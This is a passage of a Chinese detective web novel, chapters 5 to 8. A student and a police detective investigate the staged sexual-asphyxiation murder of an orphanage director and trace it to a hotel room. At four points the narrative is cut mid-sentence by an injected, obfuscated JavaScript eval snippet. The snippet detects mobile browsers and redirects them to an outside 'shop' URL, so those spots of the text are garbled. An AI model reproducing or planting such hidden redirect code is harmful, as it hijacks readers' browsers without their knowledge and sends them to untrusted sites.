可这一次,女生却没有回答她的问题,自顾自的接着往下说:“作为交易,我会给你一条线索——” 垂在身侧的手不自觉地握紧,向眠下意识地加快脚步,企图找到那名女生当面对峙,嘴上则不断地拖延着时间:“什么?” 然而小巷幽深,越往里走,那道路就愈发狭窄,像是一整棵横躺的大树,她进来的地方如同树干,只有一条可以通行的道路,而另一端则像是茂密的树枝一样四通八达。 一时竟分不清,那名女生究竟隐匿到哪里去了。 就在她犹豫着该往哪条路走时,那名少女恰巧再次开口:“一个地址。” “……一个地址。” 那声音一分为二,一前一后地拂过向眠的耳畔,无论是语速、声调又或者内容都相差无几。 一道是从手机里传出来的,而另一道则是从左侧分叉口传来的。 她微微眯了眯眼,顺着那声音的方向走了过去。然而走了没两步,她就来到了一扇铁门前。 铁门大咧咧地敞开着,发出咯吱咯吱的声响,上面更是挂着一块已经生锈的,看不清之前究竟是什么颜色的指示牌,歪歪扭扭地写着几个不伦不类的大字。 她盯着瞧了好一会儿,才看清了个大概。 似乎是—— “向…日…葵……” 几乎是同一时间,她听到电话那头少女短促而清晰得说出了一个地名:“向日葵儿童福利院。” 向日葵儿童福利院?! 她一下子愣在了原地,眼底充斥着不可思议。 怎么会这么巧?! 那名女生向她提供的线索也是这儿! 难道说从一开始…… 那名女生就是故意引她来这儿的?! 一股寒意从脊骨直窜脑后,她不禁倒吸了口冷气,从昏迷到醒来,她总能隐约的感觉到有一双手在暗处一点点的推着她,靠近深入这起案件。 如果说之前只是一种模糊的怀疑,那么此刻,她第一次感觉到了那种无法忽视的实感。 向眠的心下一紧,眼前的景象也跟着蒙上了一层扭曲的滤镜,胃里被压下去的翻江倒海的不适感再次袭来。 恰在此时,她看到一抹身影从小道另一头闪过—— 那人的身上穿着不符合季节的厚重的衣服,背影有些消瘦。 只一眼,向眠就认出了她—— 是公交车站碰到的那名神秘女生。 她立刻追了上去。 孤儿院看起来年久失修,外观破旧,安保更是形同虚设,连个门卫都没有。 她轻而易举地就混在人群里,溜了进去。 刚一进去,迎面就是一阵热闹的笑声,院子里张灯结彩,热热闹闹的,像是在庆祝什么特殊的节日。 可向眠却没有多加停留,她沿着那背影消失的方向,快速地寻找着那名女生的身影。 奇怪的是,越往里走,那声音就越轻,仿佛都被人一点点调低了音量。到最后就只剩下一栋孤零零的大楼,连个人影见不着。 向眠看着眼前的建筑物,微微皱了皱眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699810|189141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 像是为了彰显格调似的,小楼外檐的墙面被东一层西一块的油漆涂抹得五颜六色的,往往前面的劣质油漆还没完全脱落,就迫不及待地又补上了一层,像是刚刚在学油画的新手,恨不得把颜料盘里的颜色都往画纸上涂个遍。 只有大门还保留着它原来的土黄色调,略显仓促地虚掩着,还留着一道缝。 向眠顺着那条缝隙往里面看去,大楼内部黑漆漆的,什么也看不清。 那名女生会不会就藏在这里面,暗暗地窥探指引着她的一举一动? 她微微抿了抿唇,犹豫了下,才缓缓推开了门。 她的动作幅度极小,然而当她推开门的那一瞬间,还是听到了很沉重的“咚”的一声。 她下意识地朝着声音的方向看去。 只见原本应该是侧靠在门边的一名男子,随着她推门而入的动作,就这么直直地被她推倒在地。 男子的半边身子完全的隐没在暗处的阴影里,只能隐约看到他身上穿着一件略显宽松的欧式华服,华丽而又繁琐,有些莫名的熟悉感。 向眠微微皱了皱眉,上前一把正要扶起对方,然而掌心刚搭上那名男子的肩膀时,却感觉手下传来一阵轻微的抖动。 振幅微弱但有节奏,像是个被远程遥控的机器人。 一个正常人怎么可能会发出这样的震动呢! 正当她察觉到不对的时候,男子的身体变本加厉地震动了起来,像是掉进了油锅里的鱼,剧烈地挣扎扑腾着。 那震动愈演愈烈,像是个不断加速,即将崩坏的机器一样。 就在向眠以为,他下一秒就要从地上“鲤鱼跃龙门”般的弹起来时,他却突然像是被抽走了所有精力,斜斜地软倒在了地上,只有双腿跟还在轻微地打着颤。 她猛地收回手,竟好巧不巧地对上了那名男子的眉眼。 他的眼睛大睁着,瞳孔放大,眼白发灰,乍一眼看上去仿佛只有眼珠没有眼白的僵尸,直勾勾地盯着她,眼底深藏着说不清道不明的控诉和怨恨。 直到这时,她才看清了男子的模样。 男子的脸颊浮肿,憋成了绛紫色,眼睛几乎要从眼眶里瞪出来,他的嘴唇大张了,隐约还能看到口水滚过嘴角留下的痕迹,像是只中了毒的懒□□。 向眠不自觉地皱了下眉,目光顺着男子的脸庞一寸寸地往下挪,几乎要和脖子融为一体的双下巴、繁琐复杂的衣领,以及—— 一道似有若无的勒痕,盘踞在他的脖颈处。 霎那间,一个诡异而恐怖的想法在她的脑海中一闪而过。 他该不会已经…… 她下意识地屏住呼吸,稍稍走进了两步,像是怕惊着男子似的,小心翼翼地伸出手,试探了下他的鼻息…… 6. 005 “啊——” 不等向眠作何反应,就听身后传来一道更为惊恐的尖叫声。 向眠的动作一顿,下意识地回过头。 不知何时建筑物外已经围起了一圈人,为首的女子见状,更是脸色惨白,指尖颤抖地指着向眠:“你……你你你……!” 她的目光紧紧地盯着向眠,像是瞧见什么穷凶极恶的怪物似的。 看得向眠心头一惊,她本能地上前一步,想要解释些什么:“不是……” “我”字还没来得及说出口,就被一阵诡异的哼唱声给打断了:“大兔子病了,二兔子瞧;三兔子买药,四兔子熬;五兔子…死了,六兔子抬……” 那声音支离破碎的,像是某个奄奄一息,脖子快要被割断了的小姑娘,一个字一个字蹦出来的,伴随着滋滋滋的电流声。 一下又一下,直直地敲击在向眠脆弱的神经上。 她瞬间僵在了原地,想要解释的话也登时卡在了喉咙口。过了好一会儿她才屏住呼吸,试探性地一点点转过头。 映入眼帘的是一个粉色椭圆形物体,咕噜咕噜地从男子的裤腿里滚了出来,男子原本大腿根的抖动也跟着停了下来。 那东西看着像是个弹力球似的,刚一掉到地上就不停地弹跳震动起来。紧接着便咿呀啊呀地“哼唱”了起来—— “七…兔子…挖坑,八…兔…子埋;九兔…子坐在…地上哭起来,十兔…子…问它…为什么哭?”(注①) 尾调里带着一丝怨气未散的哀鸣,像是吊着最后一口气,硬生生拖到尽头,听的人心头一颤。 之前还指着向眠的女子双腿一软,直接“扑通”一声摔倒在地,惊恐的声音陡然拔高:“救……救命啊!!杀人了!!” 尖叫声划破了大礼堂内的闷热空气,围观的人群瞬间散开了,慌张急促的脚步声此起彼伏,乱作一团。 “不是我不是我!”向眠忙摆摆手,她急切地解释,“我赶到的时候他就已经死了!” 可她的声音,在混乱中显得苍白无力,像是落水者挣扎时溅起的水花,很快就被更大的浪冲散了:“不是你还能是谁啊?” 一道爽朗的少年音打断了她接下去要说的话,只见一个背着书包的男生逆着人流走了进来,他说:“这边除了你还有其他人吗?!” 向眠一怔,眼前的小警察看着有些眼熟,好像曾在哪里见到过似的。 她微微皱了皱眉,盯着那名男生看了两眼,才认出来—— 是谢扶光,之前在医院里碰到的那位小警察。 他走上前,一把扶起那女孩,又皱着眉看向向眠,语气带着明显的怀疑:“难怪在医院的时候,就看你怪怪的!原来是搞了一出调虎离山之计啊!” “我没有……”向眠强行解释,“我真的只是跟着线索追过来的……我到的时候,他……他就已经死了……” 向眠也知道自己的解释非常的苍白无力,简直像是电视剧里的反派做最后的挣扎,毕竟就这样的情形怎么看怎么奇怪吧,但还真的…… “——不是她。”一道低沉却极具穿透力的男声从后方响了起来。 顺着那声音看去,宋立声不紧不慢地走了进来,他还是穿着早上的那件黑色短袖,袖口随意折起,可那眼神里却透着清明,像是早就把一切看穿了。 他说:“死者已经死了三四个小时了,推算下来的话,大概是在今天早晨8点左右。” “什么?”谢扶光问:“宋队,你怎么会知道的啊?” “它告诉我的。”宋立声垂眸看去。 只见那粉色小球被卡在了墙壁和地板的夹缝里,上下左右来回剧烈的晃动着。 它的速度飞快,不过短短三五秒的时间,就沿着沥青地面滚了大半圈,就连此刻被卡住都不安分地想要挣脱出来,然而它挣扎的越用力,卡得就越牢,最后几乎是“钻”进了墙面里,越陷越深。 宋立声走上前,单手捡起小球看了眼,一副意料之中的模样:“性/爱/道具。” “它可不会自己滚出来。”他把小球装进证物袋,慢悠悠地解释,“除非——死者已经死了一段时间,肌肉松弛,失去了控制能力。” “通常需要三到四小时,而这个时间点,差不多就是向眠刚醒过来的时候,所以凶手不会是她,只是——” 他话锋一转,盯着向眠,眼神锐利:“好端端的你怎么会出现在这里?” 向眠同宋立声那略带审视的目光对视了眼,微微抿了抿唇,“在你走后不久,我就在医院里再次看到了那名女生,当时我和谢扶光兵分两路,却在半路上接到了那名神秘女生的电话,然后我顺着她的踪迹就来到了这儿。” “电话?”谢扶光一下子就找到了重点,他不可思议地睁大了双眼,“等等,难道她那通电话是打给你的?” 向眠略显疑惑:“什么?” 话音刚落,就听宋立声解释道:“还记得我曾经和你提到过画展案现场接到的那通电话吗?” 他晃了晃手里的证物袋,袋子是透明的,能够清晰地看见装在里面已经黑屏的手机:“虽然当时信号中断了,但警方却仍在持续追踪,直到十分钟前,信号再次出现了,就在孤儿院附近。可等我赶到时,只看到了被丢在地上的手机。手机遭到明显的损坏,已经无法开机了……” 他顿了顿,垂眸看向向眠,问:“所以她和你说了些什么?” 向眠简单将事情的经过复述了遍,最后补充了句:“她给了我一个地址——向日葵儿童福利院。” 宋立声听到这话,眼神骤然深了几分:“居然是这里。” 他虽然说的是“居然”,但语气里却带着点意料之中的意味,似乎他早就知道这个地址和这起案件有着千丝万缕的关系。 向眠问:“宋警官是知道些什么吗?” 宋立声解释:“党昭是个黑户,没有身份证,唯一能给我们提供线索的就只有他身上穿的衣服。” “衣服?”向眠微微皱了皱眉,她依稀记得那是件打着补丁的格子衫,好像除了脏一点旧一些,并没有其他的线索呀! 于是她跟着追问了句:“衣服怎么了?” “衣服上绣着他的名字,我们搜查了一圈,所有和他同名同姓的人都不符合。也就是说,他是个黑户,他虽然身形高大,但经检测骨骼还没完全发育好,尚未成年,如果是普通学生的话,不可能是黑户,唯一的可能就只剩下了孤儿院,之后我们根据‘党’这个姓氏进行搜查,晋州市内近十五年来,用过‘党’这个姓氏的,且在美术馆附近的就只有‘向日葵儿童福利院’这一所了。” “那是不是意味着——”经宋立声这么一分析,顿时豁然开朗,她顺着宋立声的思路往下思索:“只要去孤儿院查明当天有谁接近党昭,就可以进而推测出,究竟是谁给党昭下药,操纵党昭杀人的幕后黑手究竟是谁了?” “可是——”宋立声的语调更加严肃了些:“等我们赶到的时候,却发现党昭早就因为早期杀人事件被赶出了孤儿院。” “早期杀人?”向眠震惊地问。 “据说之前在孤儿院时他也曾情绪失控,失手致人死亡,但这件事情究竟如何,只有孤儿院的院长王峰维一人知道,可不巧的是他死了,就在不久前——” 说起后半句的时候,宋立声的目光落在了男子的身上。 显而易见,她刚刚来这儿,撞倒的那名男子就是王峰维了。 只是—— 向眠不由得倒吸了口冷气—— 怎么会这么巧! 好端端的,王峰维怎么就死了?! 这巧合的简直像是,为她量身打造的剧本! 她像是被自己的想法吓到似的,呼吸一滞。 难道说有人一直在暗中窥探着她的一举一动! 那人是谁!为什么要这么做! 她越想越觉得惊恐,以至于一个没控制住,竟直接将自己的内心想法,下意识地低声说出了口。 紧接着,她听到宋立声说:“那就得问问他自己了。” “他?” 向眠有些疑惑地顺着宋立声的视线看去。 警戒线外天色暗沉沉的,厚厚的云层将月光遮挡的严严实实的,微弱的灯光就着呼啸而作的狂风左右晃动着,时不时地照在男子的身上。 男子以斜靠在墙边的姿势,侧躺僵卧在地上。 他身旁蹲着的是一名穿着白大褂的男子,只见他从工具箱里拿出一把手术刀,刀锋轻轻一斜,顺着王峰维身上穿着的衣服,划拉几下,原本隐藏在华服下的身躯,就一点点地暴露在了向眠的视野里。 他的身躯卷曲着,双手手腕上似乎也有被勒过的痕迹。 向眠见状微微皱了皱眉,然后就见宋立声朝着尸体走去,说:“人虽然死了,说不了话,但是他的尸体却能告诉我们,究竟是谁杀了他。” 他说着,一边带着手套,一边稍稍和那名穿着白大褂的男子点头示意了下:“死因确定了吗?” “瞳孔放大,出现暗红色尸斑……死者的脖子上有勒痕,死前有高/chao的迹象……应该是自淫性死亡。” 男子嘴上说着,手上的动作却是飞快,银白色地手术刀在他的手下划出一道道寒光。 向眠瞧着眼前的这一幕,若有所思地重复了遍:“自淫性死亡?” 宋立声简单地解释了句:“自淫性死亡,也被称为‘性窒息’。双手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699811|189141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手腕有被捆绑的痕迹,后背和腰侧均有被电击的痕迹……” 他半蹲下身子,指尖隔着手套不轻不重地略过地上的尸体。 相较于其他地方,男子的上半身有着明显的伤痕。 他的腰侧和肩胛骨处有着两对间距相等的小黑点,小黑点的边缘有些模糊,后背更是被一条条的拖痕给包裹着。 而那些拖痕间,隐约能看到一些白色的粉末和一小瓣粉紫色的花瓣。 修长的指尖微微一顿,不紧不慢地捡起花瓣,稍稍捻了下。 下一秒,一阵似有若无的花香便在向眠的鼻尖一点点的蔓延开:“这是——” 那香味很幽雅,不是很妖娆,反而带着点清新。 “木槿花香?”她有些纳闷地看向宋立声:“奇怪,明明来大礼堂的路上都没有看到一朵木槿花,那他这背上的花香又是哪里染到的呢!难道说……” 她疑惑地提出了个假设:“还有另外一条路?” “又或者——”宋立声缓缓地说:“这不是第一案发现场。” 他转而侧首看向身旁呆愣住的女子,问:“姜老师,这附近哪里有木槿花?” 姜老师? 向眠顺着宋立声的视线看去。 是之前在人堆里出声尖叫的女子。 只见她摇了摇头,支支吾吾地说:“这……这我也不太清楚……我也才刚刚在这工作没几个月……” 直到这时,向眠才看清了她的模样。 女生穿着一件衬衣,上面别着“实习老师姜念”的职称。 她的下巴尖尖的,眼睛很大,鼻梁很挺,五官乍一眼看上去很精致,但是不知道为什么,搭配在她那张巴掌大的脸上,总给她一种莫名的不协调感。 向眠微微皱了皱眉。不等她彻底想明白,就被谢扶光打断道:“我我我!我这边有!” 他一边说着,一边从鼓鼓囊囊的书包里掏出了一张皱巴巴的地图。 地图很大,囊括的范围却很小,所以周边的设施都非常清晰的记录在了上面。 向眠快速接过地图,目光大略地扫了一圈,很快就找到了孤儿院所在的位置。 白嫩的指尖一点点的往四周划过。 天桥、八万春巷、附近的分局…… 指尖仿佛被一根无形的线牵引着,最终停在一个三角形的标注上。 那几乎是刻在她潜意识里的停顿,她微微一怔,有些疑惑地看着标注旁的地名——利泽尔酒店。 那明明是个完全不认识且没有去过的地方,可莫名的在看到这个地名的时候,她的脑海中却很神奇地闪过几个毫无干系的画面—— 漫山遍野的木槿花、破碎的红酒杯,以及散落一地的麻绳…… 这究竟是什么东西?! 然而不等她看清楚,那些画面就一闪而过,消失的无影无踪。 这种感觉……就好像她曾经去过,但又不小心忘记了似的。 怎么会这样呢! 她微微皱了皱眉,几乎是同一时间,一阵异样的触感从指尖传来,很细微,但她依旧敏锐地察觉,有什么东西轻轻抵在了她的指尖边。 光滑的质感,还带着点温热的感觉。 她微微愣了下,垂眸看向身侧,不知道什么时候,宋立声已经来到了她的身旁,修长的手指隔着手套,恰巧抵在她的指尖边,和她指向了同一处地标。 她条件反射性地收回了手,而宋立声却像是没有察觉般的,神色自然地看了眼她:“看来我们想到同一个方向去了——利泽尔酒店。” 而谢扶光却是一脸蒙圈,一个问题接着一个问题往外抛:“哎哎哎?什么啊?怎么就酒店了?” 宋立声卷起纸质地图,不紧不慢地说:“死者后背有明显被拖拽形成的伤口,但是却没有生活反应,说明是死后伤。也就是说,凶手是在死者死后将他拖到的大礼堂。” 他单手提着证物袋,一边大步流星地走出了大礼堂,一边慢条斯理地接着解释着:“伤口里混合着泥土、碎石子,以及木槿花的花粉,说明第一案发现场附近栽种着木槿花。凶手两次电击死者的地方都在死者的腰侧,这意味着凶手的身高偏矮,死者身上没有被用推车等工具转运过的痕迹。就凶手的体型,想要把死者从较远的距离搬运过来,基本是件不可能的事,也就是说第一案发地点离着边不远,符合以上两点的,就只有……” 他顿了顿,并没有直接往下说。 而是微微弯下腰,捡起地上一瓣散落凋零的木槿花瓣,不轻不重地捻了下,向眠就闻到了一股浅淡的花香—— 和之前在尸体上闻到的如出一辙! 然后她听到宋立声接着说:“——这里了。” 7. 006 宋立声漫不经心地拍了拍掌心,任由碎成渣的花瓣缓缓飘落回地面,径直朝木槿花深处的小楼走去。 小楼外观素雅,通体洁白,没有任何华丽的装饰,和之前孤儿院里那栋五颜六色的大楼相比,显得格外舒适。 可向眠见了,却是微微皱眉—— 这画面竟与她脑海中一闪而过的场景如出一辙,难道她曾来过这里? 可这是什么时候的事?她怎么会一点印象都没有呢? 她有些茫然地揉了揉太阳穴,正努力地回忆着,就被宋立声给打断了:“走吧,去听听这边负责人是怎么说的。” 酒店老板娘望着眼前这两位“不速之客”,心里一阵莫名其妙。 为首的男子身形颀长,白色短袖配了条黑色工装裤,模样散漫;跟在他身侧的女生则穿着件皱巴巴的病号服,额头上还贴着绷带,像是刚刚从精神病院逃出来的患者,怎么看都很怪异,当然她没把这些话说出口。 她只是砸吧着嘴,视线在宋立声手中的证件和眼前几人间游移了几圈,最终不情愿地领着他们来到二楼最里面的小屋子前。 厚重的实木门紧闭着,铁质门把上装有一枚略显高端的可视门铃。 “这杀人案肯定是有什么误会,我们这酒店安全得很,怎么可能发生杀人案呢?” 她一边低声嘟囔着,一边拿出备用房卡,只听“滴——”的一声,房门就被打开了。 微风从窗户溜进屋内,轻轻地拂过向眠脸颊,淡雅的木槿花香柔和地弥漫在鼻尖,隐隐还能察觉到其中夹杂着的一丝腥臭味。 这味道虽然被稀释了不少,但仍清晰可闻。 向眠揉了揉鼻子,望向房间内部。 入口玄关简洁笔直,一旁用原木色酒柜作隔断屏风。 透过酒瓶间的缝隙望去,地毯凌乱不堪,早就被人蹬得变形了。 宽敞的办公椅上留有捆绑的痕迹,一根黑色尼龙绳松垮地沿着扶手绕到了卧室的角落里。 宋立声大步流星地走了进去,戴着手套的手漫不经心地挑起麻绳,轻描淡写地重复了遍老板娘之前说的话:“怎么可能?” 他的语气虽然慢条斯理的,但只一句话,却令老板娘脸上笑意顿时凝固,恨不得把之前自己信口雌黄说的大话,全部收回来。 不过覆水难收,好在宋立声也没强行追问下去,他微微眯了眯眼,对谢扶光说:“封锁现场,另外所有在场人员都录一遍口供。” 说到这儿,他顿了顿,转而看向企图开溜的老板娘:“至于你,把两天前,也就是王峰维死亡当天的情况,重新说一遍,一个细节也别漏了。” 老板娘原本即将脱口而出的狡辩,在对上宋立声那双突然泛起寒光的双眸时,硬生生地卡在了喉咙口。 她咽了咽口水,磕磕绊绊地说:“我记得他是昨天下午五六点来的酒店,吩咐我们不要打扰,也不需要客房服务……” 独自一人进了房间? 向眠捏着下巴若有所思:听她描述,死者从昨日下午起便孤身留在房内,直到警方在孤儿院发现尸体,足足隔了十多个小时。 这期间究竟发生了什么呢? 地上的尼龙绳很长,她的视线顺着绳子另一端环绕回玄关角落。 墙角边是一只摔碎了一个角的红酒杯。酒液顺着浅黄色木地板流淌,留下一道道深浅不一的酒渍。 里面似乎还混杂着什么奇怪的印记,向眠蹲下身子,细细察看了番—— 居然是脚印! 她微微瞪大了双眼,快速地抽出几张纸巾,平铺在地上,沿脚印一点点拓印下来。 两道足迹几乎重叠,仅在转角处能分辨出细微差异—— 一道较深,一道较浅;步距大小不同;左右脚夹角也有差别…… 向眠依据这些细节,迅速的将脚印区分开来,若有所思地捏着较小脚印的拓纸,低语道:“26厘米,约40码,步幅较短,大约身高一米六五左右……鞋纹和步态,像是名……” “男性。”宋立声不知什么时候出现在了她的身旁,非常自然地顺着她的话,往下补充了句。 向眠怔愣了下,才抬眸看向宋立声:“嗯?什么?” “还记得尸检时,在死者体内发现的粉色小球吗?” 宋立声自问自答:“一般女性凶手喜欢玩弄男性生殖器,男性凶手则更倾向于□□。而我们本案的凶手……” “是后面那种情况。”向眠瞬间明白了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699812|189141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的意思。 “聪明。”宋立声打了个响指:“那么,机智如向同学,除了这些,还有什么别的发现吗?” “嗯……”向眠捏着下巴沉思了片刻后缓缓开口:“尸检报告提到死者背部有明显电击伤……” 她的语速缓慢,像是边思考边说:“如果凶手面对死者攻击,电击伤应在正面,而不是背部。说明当时死者背对凶手,凶手趁机袭击。死者极可能……” 她目光不由自主落在酒柜上那瓶已开封的红酒:“红酒瓶开着,盖子没盖,酒杯碎落地上,推测死者正给凶手倒酒时,突然遭袭……” 说着,她伸手想捡起地上一小段杯梗,下一秒粘稠的感觉就透过手套传了个过来,她的语调不自觉的上扬,话锋一转:“这是什么?!” 她快速地将杯梗举向壁灯。 白炽灯光映照下,酒杯上隐约显现粉色斑点,像是什么未撕净的贴纸残留。 宋立声像是早就知道般的开口说:“包装贴纸。” 他拉开摆台上一只微开抽屉,取出两三个刚拆封的包装袋:“指纹清晰,而且没有任何被强迫的痕迹,说明是死者自己购买。” “死者买完这东西后,并没有第一时间拆开使用,而是来到酒店后才拆封的。他刚拆完包装,门铃就响了,所以他没来得及洗手,就直接打开了门,邀请对方进入房间后,他迫不及待地开了瓶红酒。” “一连串动作紧凑,拆包装时不慎粘上的贴纸,自然沾到了酒杯上。” 他一边说着,一边轻轻地晃动了下手里的袋子。 透过透明的包装袋,向眠看到了印有粉红兔女郎图案的卡纸,以及几件调情道具和性感内衣。 和案发现场死者体内的粉色小球似乎是同一套。 但是—— 袋子内那件粉色情趣内衣标签清晰写着C罩杯,XL码,明显为身高超过一米七的女性设计。 与死者及凶手体型差距甚远。 怎么会这样呢?! “奇怪了。”向眠单手捏下巴,眉头微皱,“为什么死者在约见凶手时,还准备这些毫不相关的东西?” “也许——”宋立声薄唇微启,“这是给案发现场的第三者准备的。” 8. 007 雨后暖风拂过宋立声的发稍,带着点夏日特有的闷热和湿润。 他勾了勾唇角,伸出三根手指,接着往下说:“当时,在案发现场除了受害者和凶手外,还有第三人。” “——女性,身高175,体重50公斤左右。” 他顿了顿卖了个关子:“而且这名女士,是我们的受害者先生亲自邀请过来的。” 向眠有些不解地看向宋立声:“亲自邀请?为什么这么说呀?” 宋立声垂眸看了她一眼,没有直接回答她,而是大步流星地从她的身旁略过,来到了实木门边,不轻不重地敲了两下。 那敲门声在走廊上清晰可闻,然而传到了屋子里,却是几不可闻。 宋立声像是意料之中地挑了下眉,慢悠悠地解释道:“这就是答案,死者将那名女性约到了酒店,自然是为了保密。那么他在回到房间后,肯定不会任由大门敞开着。” “门外的声音传不进来,他又是怎么确定门外的人,就是他等待的那个人呢?” 他的指尖不紧不慢地按下了门边同可视镜连在一起的门铃。 下一秒房间里就瞬间响起一道存在感极强的“叮咚”声,紧接着可视镜里就清晰地映出了门边的场景。 从远处大片的木槿花树,到近处的一小截栏杆,离得越近,能够看到的画面就越有限。 尤其当宋立声走到镜头前时,身后的景象都被他遮挡得严严实实,方形屏幕上就只剩下了他微微凸起的喉结。 只见他喉结一滚,低沉悦耳的嗓音便在耳边响起:“就只剩下可视镜这一种可能。” “死者通过可视镜看到了门外的来访者,确定对方是自己等的人才打开的门。可是他没有想到的是,除了自己约的那名女生外,还有一人也来到了现场,而这人就是你之前说的那名男性凶手了。” 向眠捏着下巴,顺着宋立声所说的,若有所思道:“可这样的话,那……这名女子,又在这起案件里扮演了什么样的角色呢?” “同谋,又或者只是一个可怜的当事人。如果是前者,那么很可能,是她和凶手一起设计杀害死者的。” “如果是后者,那估计就是凶手威胁女子给他开门的。” 他顿了顿,又回到了前面的话题:“不过就目前的情况看来,我更倾向于同伙的说法,毕竟——” 他稍稍拖长了点尾音,说:“案发现场只有死者一人的指纹,凶手杀人前可能早就做了准备,没有指纹很正常,但一个突然遭到胁迫的人怎么会记得抹去自己的指纹呢?当然不排除一种可能,就是她当日的穿搭正好需要一副手套当做配饰。” “不过,究竟是哪种可能……”他不急不徐地重新扫了一眼房间内的一地狼藉。 此刻墙面和地板上,都已经被谢扶光喷上了鲁米诺试剂。 在试剂的作用下,房间的角角落落里都散发着蓝白色的荧光,像是对案发现场的追踪剂一般,让凶手无处遁形。 他大致的瞧了一眼,声线透着点运筹帷幄的意味:“就得问问这名女子本人了。” “本人?”谢扶光好奇又惊喜地问道:“宋队,你知道她是谁了?” 宋立声往前走了两步,朝着木质酒柜扬了扬下巴:“这就是答案。” 除了摔碎在地上的玻璃杯外,还有一支高脚杯被放在了酒柜上。 里面装着的是一部黑色的手机,套着一个黄金色的手机壳。 半截机体浸泡在红酒里,屏幕也早就碎成了雪花状。 他拿出手机甩了两下,又尝试性地按了几下,见手机始终黑屏,迟迟没有反应,才将它装进了证据袋,薄唇轻启:“既然是死者邀约女生来的酒店,那么他们俩之间一定会有所联系。只要恢复了手机数据,再调取最近几天的通讯记录,就可以顺理成章的排查出当天来酒店的第三人是谁了。” 他说着,将手机递给了身侧的谢扶光,转而扫了一圈案发现场,嗓音低沉而又饱含磁性:“至于案发当天的经过,我想是这样的——” 说话间,他不紧不慢地从门口走了进来,像是追寻着死者当时的步伐似的。 从向眠身边走过时,她能够清晰的闻到宋立声发间带着点似有若无的木槿花香。 向眠微微愣了下,紧接着她便听到宋立声不紧不慢地说:“受害者透过可视门铃,眼见着自己约的女生到了,便打开了门,迫不及待地拆开了情趣内衣,准备共度良宵时,却突然遭到了男性凶手的攻击,他被电击棒击晕了,又被绑到了凳子上。 “凶手的体型较小,所以他无法单凭一人彻底控制住受害者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699813|189141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好在他早有准备——” “他拿出了尼龙绳,想要绑住受害者,可谁知道在这个过程中,受害者出乎意料的从电击的酥麻感中清醒了过来,他疯狂的想要挣扎,但问题是他的双手已经被绑在了凳子上,可以挣扎的范围很小,不等他彻底挣脱,凶手就再次电击了他。” “在做完这一切之后,凶手又给他注射了春药,等药效发作,受害者变得很难耐的时候,他便将受害者自己购买的□□道具塞进了他的体内,同时将保鲜袋绑在了受害者的脑袋上,以此来达到‘窒息性高潮’的死状。” 听着宋立声将凶手的整个行凶过程一环接一环的说了出来,谢扶光再也忍不住感叹道:“这变态下手可真够缜密的啊!” “是啊!”宋立声不置可否的挑了挑眉,他的指尖像是弹琴一样,随意地在窗沿边轻点了几下,“只是一个心思缜密的人,又为什么会在案发现场留下这么明显的两个漏洞呢?” “漏洞?!”谢扶光皱眉张望了一圈,不解地问:“什么漏洞啊?我怎么没发现啊?” 宋立声的指尖微顿,意有所指地开口说:“这第一个漏洞,就藏在这间屋子里。” 说到最后几个字的时候,他的语调稍稍放缓,带着点提问的意味。 向眠微微抿了抿唇,抬眸朝着他所在的位置看去。 此时已经是下午六点多了。 酒店只亮着几盏缠绕在木槿花树上的灯,别有一番风味,然而灯光却很微弱的,像是点点萤火之光。 相较之下,房间里的壁灯则像是明月之辉,尤为耀眼。 遮光玻璃窗半开着,像是一道黑白分明的分界线,将房间内的亮堂和窗外的昏暗,分割成了两个区域。 而宋立声就站在这条分界线上。 他的双手怀抱于胸,身子斜斜地靠在窗边。半边身子和身后昏暗的背景色融为一体,只能隐约看见他说话时,被微风轻轻吹动的狼尾发稍,不经意地垂在了他的喉结上。 随着他的喉结,微微上下晃动着。 一下又一下的。 向眠听着宋立声的话,目光有些神游般的在他的发稍上停留了一会儿。 然而就当她回过神,刚要挪开视线时,却像是突然反应过来似的,目光再次定定地落在了宋立声…… 9. 008 ——身后的遮光玻璃窗上。 防偷窥的窗户半开着,燥热的暖风阵阵袭来,带着点木槿花的花香。 